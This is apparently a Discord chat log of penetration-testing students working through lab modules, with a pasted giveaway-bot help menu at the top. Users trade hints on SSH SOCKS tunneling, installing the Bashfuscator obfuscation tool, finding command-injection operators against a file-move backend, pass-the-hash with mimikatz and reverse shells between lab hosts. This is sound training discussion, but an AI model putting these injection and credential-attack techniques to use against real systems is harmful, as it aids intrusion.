/giveaway create, /giveaway delete, /giveaway edit, /giveaway end, /giveaway reroll

Schedule Giveaways

/schedule create, /schedule delete, /schedule edit

Giveaway Templates

/template create, /template delete, /template duplicate, /template edit

Bot Commands

/dashboard, /help, /invite, /ping, /stats, /support, /translate, /vote

Utility Commands

/giveaway fix, /list giveaways, /list schedules, /list templates

Levels

/level, /leveling enable, /leveling disable

Messages

/messages, /message counter enable, /message counter disable

Logger

/logger channel, /logger enable, /logger disable

Server Settings

/giveaway creator-roles, /giveaway manager-roles, /set language

Premium

/premium activate, /premium deactivate, /set emoji

Giveaway Boat · Sep 12, 2024, 8:12 PM

Giveaway Boat: Help

⚠️ Slash commands are still in beta so please be aware that there could be some bugs. If you find any, please report them here. To know about all my commands, use g.help instead or use dashboard! ⚠️

Giveaway Commands

/giveaway create, /giveaway delete, /giveaway edit, /giveaway end, /giveaway reroll

Schedule Giveaways

/schedule create, /schedule delete, /schedule edit

Giveaway Templates

/template create, /template delete, /template duplicate, /template edit

Bot Commands

/dashboard, /help, /invite, /ping, /stats, /support, /translate, /vote

Utility Commands

/giveaway fix, /list giveaways, /list schedules, /list templates

Levels

/level, /leveling enable, /leveling disable

Messages

/messages, /message counter enable, /message counter disable

Logger

/logger channel, /logger enable, /logger disable

Server Settings

/giveaway creator-roles, /giveaway manager-roles, /set language

Premium

/premium activate, /premium deactivate, /set emoji

Giveaway Boat · Sep 12, 2024, 8:12 PM

[late moth]

In the section ICMP tunneling with SOCKS. When enabling dynamic port forwarding over SSH. "ssh -D 9050 -p2222 ubuntu@127.0.0.1". So this is setting up a situation where I can use proxychains to forward traffic through local port 9050 which then sends traffic to local port 2222 which is set up for our ICMP tunnel earlier in the module?

[safe star]

I’m pretty sure the -p is the ssh port

[late moth]

it is, but ealier in the module they set up an ICMP tunnel that woudl be routed through local port 2222

[quiet trout]

-D is just binding ssh to a proxy port, for whatever use you may have... intecepting requests thru burp, proxychains, etc.

as i understand it from the man page

[quiet trout]

By default, the local port is bound in accordance with the GatewayPorts setting. However, an explicit bind_address may be used to bind the connection to a specific address. The bind_address of “localhost” indicates that the listening port be bound for local use only, while an empty address or ‘*’ indicates that the port should be available from all interfaces.

looks like it is, like you said, SOCKS only though so it may not work with burp, but certainly other SOCKS proxy utilizations

[safe star]

Do u have a port forward to 2222 somewhere?

[quiet trout]

looks like common uses are accessing an ssh server over public wifi (secure access) or accessing resource on a remote internal network, among other use cases

(and circumventing network restrictions of course 😉 )

[rustic sage]

Hy

[limber river]

-D is like if someone talk to me on the port 9050, redirect his thoughts to this ssh guy

[rustic sage]

Help me please

Just subscribe

Channel for writeups

And i like htb

[safe star]

😴

[unique ether]

💀

[real delta]

No advertising

[vocal bridge]

did anybody ever run into this issue using this tool? it is linked in the command injection module

[unreal cave]

Did someone succeed to found the command injection in the skill assessment of Documentation & Reporting module ? I think the path is to leverage the ||LFI|| vulnerability on ||172.16.5.127|| but nothing work

[shut vapor]

Do you need to run setup.py?
https://github.com/Bashfuscator/Bashfuscator

[vocal bridge]

ran the setup

just like the guide asked me. but it seems that i do not have the bashfuscator module

[shut vapor]

Hum.. I'm trying to update my system now to pull the dependencies. I'll see if I have any different results.

[vocal bridge]

also I am still stuck on the final assessment on command injection(I just started school and this being my final year I dont have much time on my hands anymore) because I can't for the love of God figure out the injection operator

I tried everything with no change and I am using the url from the copy function of the site in burp

[shut vapor]

The following works for me, but I tend to install python utilities into a virtualenv because I've got a python background.

$ git clone https://github.com/Bashfuscator/Bashfuscator
$ cd Bashfuscator
$ python3 -m venv ./env
$ . ./env/bin/activate
(env) $ pip install .

(env) $ bashfuscator
[...works...]

HOWEVER, If you ran the setup like in the README.MD, you should be able to just run "bashfuscator" from anywhere.

I suspect that going into the /usr/local/tools/bashfuscator directory and running ./bashfuscator creates the situation where it's confused about where to import dependencies from.

so try just bashfuscator from whever.

[vocal bridge]

does it have something to do with what folder i installed it in? I installed it in a tools folder in /usr/local

[shut vapor]

I don't think that should matter. What if you back out of that /usr/local/tools/bashfuscator directory and just run bashfuscator, that doesn't work?

[vocal bridge]

it worked using the venv

thx man

[vocal bridge]

you mind helping me out with this one? This has stalled me for days and I really need to move forward

[shut vapor]

Oh, I haven't done command injection for a while. I'm probably a bit rusty. I'll let someone else speak up.

[vocal bridge]

alr then no worries

thx anyway for helping me fix bashfuscator

[shut vapor]

happy to help

[vocal bridge]

I just want to know what operator is right because I am out of options and I can't comprehend what I did wrong. the rest I can figure out

[safe star]

Have u tried the other parameters?

pretty sure u can make a list of diff characters and fuzz them

[vocal bridge]

other parameters? you mean like ; || &&?

i remember trying them all, url encoded and not

I didn't try subshells

[safe star]

Like “to=“ “from=“

[gray yacht]

Does the injection always have to be at the end?

[quasi wave]

hi I forgot the password for the previous section but I'm doing password reuse/default passwords section of password attacks and it is telling me to use password from previous section to log in to a router and find the MySQL credentials

but I forgot the password from the previous section that I found

do I just do the previous section again?

because that would be a pain to do that all over again.

[safe star]

You can use the file manger normally and kinda see how it would work on the os

[quasi wave]

can someone DM me?

[vocal bridge]

i suppose if i tried modifying the to field and change from tmp to /flag it would give an error

[safe star]

The flag isn’t guessable for that reason

[vocal bridge]

the hint says "It is always easier to inject our command in an input going at the end of the command, rather than in the middle of it, though both are possible." so this might not be it

[gray yacht]

Like TLattice said, try all parameters.

[safe star]

Try to imagine what the command would look like under the hood

Either way u should still test them all

[safe star]

Yes

[quasi wave]

ok

[safe star]

U might find it if the other questions asked for the password

Can’t remember tho

[fathom pendant]

Perhaps try injecting in a different place

[fathom pendant]

Save all credentials you pull from that module

[vocal bridge]

shouldnt i inject at the end tho? I am not sure what does the finish parameter do

[sly trench]

Guys I'm in pentester path,password attacks, pth.
I'm at the last question where it's asking to do some weird stuff.
My brain is hurting, wtf is dc01 and where am I supposed to connect to it? I retrieved the other flags that had to do it with dc01 (which is a shared folder) through the command //dir/david after I used the mimikatz command that spawns cmd.exe. but now the last question it's asking me to create a reverse shell from ms01 to dc01, like it's referring to these two as separate machines? Tf

[fathom pendant]

Commands don't always need to be injected at the end

Consider the action being taken on the backend and what you can do

[safe star]

Do you know what the other parameters do?

[vocal bridge]

first one is the directory, second is the file

[safe star]

Yes

[vocal bridge]

wait hold on

[fathom pendant]

But what is it doing

[vocal bridge]

moving/copying a file

[safe star]

Now what do you think the command in the back end would look like

[vocal bridge]

wait hold on. what if i can move more than one file at a time

[fathom pendant]

So consider the parameters that are actually doing something and inject there

[vocal bridge]

mv -f file.txt /tmp

[safe star]

U could possibly break out with ; or another character

[distant island]

ok i am solveing the AD skill assessment 2 and i have a small question
i already find the user in the domain and the password i want to enumrate to know the ip of it how can i do this

[fathom pendant]

Ping sweep

[safe star]

Yes there is a dc

[fathom pendant]

You can also see if there's anything cached in an arp table/routes

[safe star]

I’m pretty sure the module gives you the dc ip @sly trench

[distant island]

thansk

[fathom pendant]

A neat trick I do from the ms01 machine is ping DC01

And yes in domain environments you'll generally have at least 2 machines. You often don't want the DC being used as a workstation

[sly trench]

Ok so I clearly don't understand something

I thought DC01 was a share

Why does it have a different ip

[vocal bridge]

I think I did. one small problem

[sacred jacinth]

Now that is smth I could wrap my head around 🤔 thanks man!

[vocal bridge]

if i break out with ; how do I use the parameters right?

I would have to use a || maybe idk

[sacred jacinth]

Oh dw I was aware that there are different bodies for assigning OIDs out there. If I were to ever run in a SNMP service which wouldn't produce any information using the ISO OID I would just use the other one 🤔